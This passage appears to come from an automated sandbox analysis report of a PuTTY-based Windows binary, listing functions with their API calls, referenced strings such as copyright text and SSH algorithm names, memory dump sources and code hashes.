                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: ErrorLastValue___vcrt_
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID: 3852720340-0
                                                                                                                                                    • Opcode ID: 3956bd47ecf6ca36e25d9ee4fe8a881426874ebcf0d9af2552b7170bcded4c99
                                                                                                                                                    • Instruction ID: 5136ec503c2aae1b5061118f0f70bbc06b88d1f4d536db499d37e7a8b79246a3
                                                                                                                                                    • Opcode Fuzzy Hash: 3956bd47ecf6ca36e25d9ee4fe8a881426874ebcf0d9af2552b7170bcded4c99
                                                                                                                                                    • Instruction Fuzzy Hash: 130144366097569EA63B27BDBC8A56B2758EB03775F21033AF610991E2EF514C41D240
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00352030 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 196COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: _strspn
                                                                                                                                                    • String ID: 0123456789$SSH PRIVATE KEY FILE FORMAT 1.1
                                                                                                                                                    • API String ID: 3684824311-1194959283
                                                                                                                                                    • Opcode ID: 0f818853884b20306fb78bff068f205049d3caca6501b990f2607c327d562ef0
                                                                                                                                                    • Instruction ID: ee169b2665648c035aa470960ee17c4f7c027e3a9ba9f63d2323db7a8367b279
                                                                                                                                                    • Opcode Fuzzy Hash: 0f818853884b20306fb78bff068f205049d3caca6501b990f2607c327d562ef0
                                                                                                                                                    • Instruction Fuzzy Hash: 3E6195B59043009BE712AF20EC46B5B7BE4AF91709F054C1CFC855B292E7B6960CCB93
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003230D0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 126COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • ___from_strstr_to_strchr.LIBCMT ref: 003231BD
                                                                                                                                                    • ___from_strstr_to_strchr.LIBCMT ref: 003231DB
                                                                                                                                                    Strings
                                                                                                                                                    • ecdh,dh-group18-sha512,dh-group17-sha512,dh-group16-sha512,dh-group15-sha512,dh-group14-sha1,rsa,WARN,dh-group1-sha1,dh-gex-sha1, xrefs: 00320C8D, 003230D3
                                                                                                                                                    • TerminalModes, xrefs: 003230FD, 0032310D
                                                                                                                                                    • ecdh,dh-gex-sha1,dh-group18-sha512,dh-group17-sha512,dh-group16-sha512,dh-group15-sha512,dh-group14-sha1,rsa,WARN,dh-group1-sha1, xrefs: 00320C92, 00320D0A, 003230D1
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: ___from_strstr_to_strchr
                                                                                                                                                    • String ID: TerminalModes$ecdh,dh-gex-sha1,dh-group18-sha512,dh-group17-sha512,dh-group16-sha512,dh-group15-sha512,dh-group14-sha1,rsa,WARN,dh-group1-sha1$ecdh,dh-group18-sha512,dh-group17-sha512,dh-group16-sha512,dh-group15-sha512,dh-group14-sha1,rsa,WARN,dh-group1-sha1,dh-gex-sha1
                                                                                                                                                    • API String ID: 601868998-4179141825
                                                                                                                                                    • Opcode ID: ab867c3e3a0a96d1c218ceeb8d1145294f6888ded760d676e53aeec7b2b3c225
                                                                                                                                                    • Instruction ID: 2484282e5015d3f1410f1be349a1d36dc5e16b36569d12efc3b1823507fd2e12
                                                                                                                                                    • Opcode Fuzzy Hash: ab867c3e3a0a96d1c218ceeb8d1145294f6888ded760d676e53aeec7b2b3c225
                                                                                                                                                    • Instruction Fuzzy Hash: 5B3126F29082786BF72321257C52B7736DD5F92749F4A0425FD895B343F50EAE248272
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00354510 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 110COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: _strcat_strlen
                                                                                                                                                    • String ID: %.*s $INVALID-ALGORITHM$VUUU
                                                                                                                                                    • API String ID: 432593777-4136275203
                                                                                                                                                    • Opcode ID: 8856165049fc27ce24a7dab7558536c6341c075ea46e3d58863cd295aa06a0f8
                                                                                                                                                    • Instruction ID: 8b9640ed3be7b9ef293bbcda097859192515db0a5995b1dd9220cb672a1825d0
                                                                                                                                                    • Opcode Fuzzy Hash: 8856165049fc27ce24a7dab7558536c6341c075ea46e3d58863cd295aa06a0f8
                                                                                                                                                    • Instruction Fuzzy Hash: EE31A5B19083586FD305EB28AC81B5BB7D8AB85348F44453DFC499B242F675DA48CBD2
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0030EBE0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 108windowCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                      • Part of subcall function 00339440: GetLocalTime.KERNEL32(?,?,?,?,00314A24,?), ref: 00339456
                                                                                                                                                    • _strftime.LIBCMT ref: 0030EC09
                                                                                                                                                    • SendDlgItemMessageA.USER32(?,000003E9,00000180,00000000,00000000), ref: 0030EC88
                                                                                                                                                    • SendDlgItemMessageA.USER32(000003E9,0000018B,00000000,00000000), ref: 0030EC9E
                                                                                                                                                    • SendDlgItemMessageA.USER32(000003E9,00000197,-000000FF,00000000), ref: 0030ECB6
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: ItemMessageSend$LocalTime_strftime
                                                                                                                                                    • String ID: %Y-%m-%d %H:%M:%S
                                                                                                                                                    • API String ID: 3243744690-819171244
                                                                                                                                                    • Opcode ID: a4661a6eea0f4aea2dc0009eec8db22e70723f496e36c001519a5f290d2be4fa
                                                                                                                                                    • Instruction ID: 479292c85e10b240b1bafd1e9dfbe9e93cdce7c61233a2fc763d2fcd76eb23ae
                                                                                                                                                    • Opcode Fuzzy Hash: a4661a6eea0f4aea2dc0009eec8db22e70723f496e36c001519a5f290d2be4fa
                                                                                                                                                    • Instruction Fuzzy Hash: 1131E076B42201EBE7079B34FC52F6A37A9E759700F154925F8149B2E0DA72A905CB81
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00313320 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 85windowCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • SendDlgItemMessageA.USER32(?,?,00000190,00000000,00000000), ref: 003133B4
                                                                                                                                                    • SendDlgItemMessageA.USER32(?,?,00000188,00000000,00000000), ref: 003133E5
                                                                                                                                                    Strings
                                                                                                                                                    • /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/controls.c, xrefs: 0031336B, 00313390
                                                                                                                                                    • c && c->ctrl->type == CTRL_LISTBOX, xrefs: 00313370
                                                                                                                                                    • c->ctrl->listbox.height != 0, xrefs: 00313395
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: ItemMessageSend
                                                                                                                                                    • String ID: /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/controls.c$c && c->ctrl->type == CTRL_LISTBOX$c->ctrl->listbox.height != 0
                                                                                                                                                    • API String ID: 3015471070-33992122
                                                                                                                                                    • Opcode ID: 44889abbb0e86ffc612758481963ddba3f7d65f33e2060f1b7f7173b2bcbfdd4
                                                                                                                                                    • Instruction ID: 8aad07b17a8980ddb85dd4e989cf465fc657147f64f3f771ce98b369cb5a339f
                                                                                                                                                    • Opcode Fuzzy Hash: 44889abbb0e86ffc612758481963ddba3f7d65f33e2060f1b7f7173b2bcbfdd4
                                                                                                                                                    • Instruction Fuzzy Hash: 33210375744200EFE6268B09CC8AFE673A9EB08B64F110624F014DB5E1DB71AED0CB59
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003AF251 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 63COMMONLIBRARYCODE
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • FreeLibrary.KERNEL32(00000000,?,?,?,003AF314,?,?,003F3AE8,00000000,?,003AF224,00000004,InitializeCriticalSectionEx,003CB918,003CB920,00000000), ref: 003AF2E2
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: FreeLibrary
                                                                                                                                                    • String ID: api-ms-
                                                                                                                                                    • API String ID: 3664257935-2084034818
                                                                                                                                                    • Opcode ID: 9dd632c5db97ed655e58b0d88d3b3832302e1ccc80b8d41a4280a4350b887e72
                                                                                                                                                    • Instruction ID: 1035eeb6fb93ac4fc715ac0b3f9e099b36cd8c12e6ca9aecd5e0573857332a57
                                                                                                                                                    • Opcode Fuzzy Hash: 9dd632c5db97ed655e58b0d88d3b3832302e1ccc80b8d41a4280a4350b887e72
                                                                                                                                                    • Instruction Fuzzy Hash: B911913DA41221AFCB339BA89C45B5937A8EF07760F260B31E915AB2C4D760ED0187D5
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00324AC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 53fileCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • CreateFileA.KERNEL32(00000000,80000000,00000000,00000000,00000000,00000000,00000000,00000002,00000000,?,00324659), ref: 00324AFB
                                                                                                                                                    • DeleteFileA.KERNEL32(00000000,00000002,00000000,?,00324659), ref: 00324B0C
                                                                                                                                                    • GetLastError.KERNEL32 ref: 00324B16
                                                                                                                                                    • GetLastError.KERNEL32 ref: 00324B21
                                                                                                                                                    Strings
                                                                                                                                                    • Unable to delete '%s': %s, xrefs: 00324B32
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: ErrorFileLast$CreateDelete
                                                                                                                                                    • String ID: Unable to delete '%s': %s
                                                                                                                                                    • API String ID: 3657518308-26304762
                                                                                                                                                    • Opcode ID: 3dad61a846e0e5d894979723f5b03ec28fe29466e7f7a46c503a06959a665cbc
                                                                                                                                                    • Instruction ID: b52b074b4dd55c9dfe707b89ac564df5d15a9a187aea874b105480d4f8f3b0bd
                                                                                                                                                    • Opcode Fuzzy Hash: 3dad61a846e0e5d894979723f5b03ec28fe29466e7f7a46c503a06959a665cbc
                                                                                                                                                    • Instruction Fuzzy Hash: D701F4B12142616BE7221F747CCEF6F369DDBC4364F240B28F966CA1C0E7708D518665
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 002F1060 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49registrywindowCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: Load$ClassCursorIconRegister
                                                                                                                                                    • String ID: F~=$MZx
                                                                                                                                                    • API String ID: 738324305-2612454801
                                                                                                                                                    • Opcode ID: 489dce4518818c2758f92f1da1833a0861cc7c6cb0a7d173e203ce3cf94e2f42
                                                                                                                                                    • Instruction ID: a2aa55ed1f5b9e0c27a2552ceebbc8c51ff77b0434afdf8241fb4b7239dc8886
                                                                                                                                                    • Opcode Fuzzy Hash: 489dce4518818c2758f92f1da1833a0861cc7c6cb0a7d173e203ce3cf94e2f42
                                                                                                                                                    • Instruction Fuzzy Hash: 72118F70518301CFD709DF28EC5972A7BE4BB48758F40452DF5889B391D7799D94CB82
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0039A430 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,222050D6,?,?,00000000,003B60A4,000000FF,?,0039A4FA,0039A395,?,0039A596,00000000), ref: 0039A465
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0039A477
                                                                                                                                                    • FreeLibrary.KERNEL32(00000000,?,?,00000000,003B60A4,000000FF,?,0039A4FA,0039A395,?,0039A596,00000000), ref: 0039A499
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: AddressFreeHandleLibraryModuleProc
                                                                                                                                                    • String ID: CorExitProcess$mscoree.dll
                                                                                                                                                    • API String ID: 4061214504-1276376045
                                                                                                                                                    • Opcode ID: 5de7041dda009bc86adeaef0f8f9f7853bbfa45ed64a8b9c55f74aa6b71190e9
                                                                                                                                                    • Instruction ID: b18450bc0efcaa6cb9f77302f26df310a7591b647c31fbbc7f3496da0c0e476f
                                                                                                                                                    • Opcode Fuzzy Hash: 5de7041dda009bc86adeaef0f8f9f7853bbfa45ed64a8b9c55f74aa6b71190e9
                                                                                                                                                    • Instruction Fuzzy Hash: BC01A232918A65EFDB139F51CC09BAEBBBCFB44B51F004625E911A22D0DBB49800CA90
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0030F100 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 39COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • SetWindowTextA.USER32(?,00000000), ref: 0030F136
                                                                                                                                                    • SetDlgItemTextA.USER32 ref: 0030F150
                                                                                                                                                    • EndDialog.USER32(?,00000001), ref: 0030F16D
                                                                                                                                                    Strings
                                                                                                                                                    • PuTTY is copyright 1997-2022 Simon Tatham.Portions copyright Robert de Bath, Joris van Rantwijk, Delian Delchev, Andreas Schultz, Jeroen Massar, Wez Furlong, Nicolas Barry, Justin Bradford, Ben Harris, Malcolm Smith, Ahmad Khalifa, Markus Kuhn, Colin Watso, xrefs: 0030F145
                                                                                                                                                    • %s Licence, xrefs: 0030F125
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: Text$DialogItemWindow
                                                                                                                                                    • String ID: %s Licence$PuTTY is copyright 1997-2022 Simon Tatham.Portions copyright Robert de Bath, Joris van Rantwijk, Delian Delchev, Andreas Schultz, Jeroen Massar, Wez Furlong, Nicolas Barry, Justin Bradford, Ben Harris, Malcolm Smith, Ahmad Khalifa, Markus Kuhn, Colin Watso
                                                                                                                                                    • API String ID: 4005798191-4161985215
                                                                                                                                                    • Opcode ID: bbf68bc9b9a844b0e70da07b55283ae1a436c196df70d340cc9d4015cd95ef2c
                                                                                                                                                    • Instruction ID: 41fce562d5e1b98df4381962ee46bccf470f78d40679854afd033ed52490c0c7
                                                                                                                                                    • Opcode Fuzzy Hash: bbf68bc9b9a844b0e70da07b55283ae1a436c196df70d340cc9d4015cd95ef2c
                                                                                                                                                    • Instruction Fuzzy Hash: 89F0F632905250ABE2372B28FC89ABF732CDB85B25F050636F914E62D0C7A588809797
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0030EE10 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 28windowCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    Strings
                                                                                                                                                    • PuTTY, xrefs: 0030EE18, 0030EE28
                                                                                                                                                    • %s Key File Warning, xrefs: 0030EE29
                                                                                                                                                    • You are loading an SSH-2 private key which has anold version of the file format. This means your keyfile is not fully tamperproof. Future versions of%s may stop supporting this private key format,so we recommend you convert your key to the newformat.You, xrefs: 0030EE19
                                                                                                                                                    • F~=, xrefs: 0030EE12
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: Message
                                                                                                                                                    • String ID: %s Key File Warning$F~=$PuTTY$You are loading an SSH-2 private key which has anold version of the file format. This means your keyfile is not fully tamperproof. Future versions of%s may stop supporting this private key format,so we recommend you convert your key to the newformat.You
                                                                                                                                                    • API String ID: 2030045667-2916404119
                                                                                                                                                    • Opcode ID: e020e54dbd26f95c9945bc6cdf59160d346bfe505c0055a995821bd73a94697f
                                                                                                                                                    • Instruction ID: e1f940ac3d0964a9b57469d350431d9421dac3d86a2bb933cc93e86d0a3ccb32
                                                                                                                                                    • Opcode Fuzzy Hash: e020e54dbd26f95c9945bc6cdf59160d346bfe505c0055a995821bd73a94697f
                                                                                                                                                    • Instruction Fuzzy Hash: 73E04FB291117026E12333663C0FFEB291CCBD2B69F090121FA0459282E942691586B3
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0030F1E0 Relevance: 7.6, APIs: 5, Instructions: 111COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • ReleaseCapture.USER32(?,?,?,?,?,?,?,?,0030DD0D,?,?,?), ref: 0030F245
                                                                                                                                                    • GetWindowPlacement.USER32(?,?,?,?,?,?,?,?,?,?,0030DD0D,?,?,?), ref: 0030F29F
                                                                                                                                                    • SetWindowPlacement.USER32(?), ref: 0030F2BA
                                                                                                                                                    • GetCapture.USER32 ref: 0030F30C
                                                                                                                                                      • Part of subcall function 002FB5C0: DeleteFileA.KERNEL32(?), ref: 002FB5EA
                                                                                                                                                      • Part of subcall function 00338140: GetWindowLongA.USER32 ref: 00338164
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: Window$CapturePlacement$DeleteFileLongRelease
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID: 2096018050-0
                                                                                                                                                    • Opcode ID: 67fa99269c4acd669970dcec480e4e5987db940abd0b9641cd081b0fd51a0d9f
                                                                                                                                                    • Instruction ID: e349ade199171ca07af5e40765db41e7129d7aff75f965d72f1be60ab7ff3ccf
                                                                                                                                                    • Opcode Fuzzy Hash: 67fa99269c4acd669970dcec480e4e5987db940abd0b9641cd081b0fd51a0d9f
                                                                                                                                                    • Instruction Fuzzy Hash: C331647D5062019FF733AB30AC99B7F3AADAB86314F1E4474F8484A6C2C7344982C762
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 002F21A9 Relevance: 7.6, APIs: 5, Instructions: 93COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
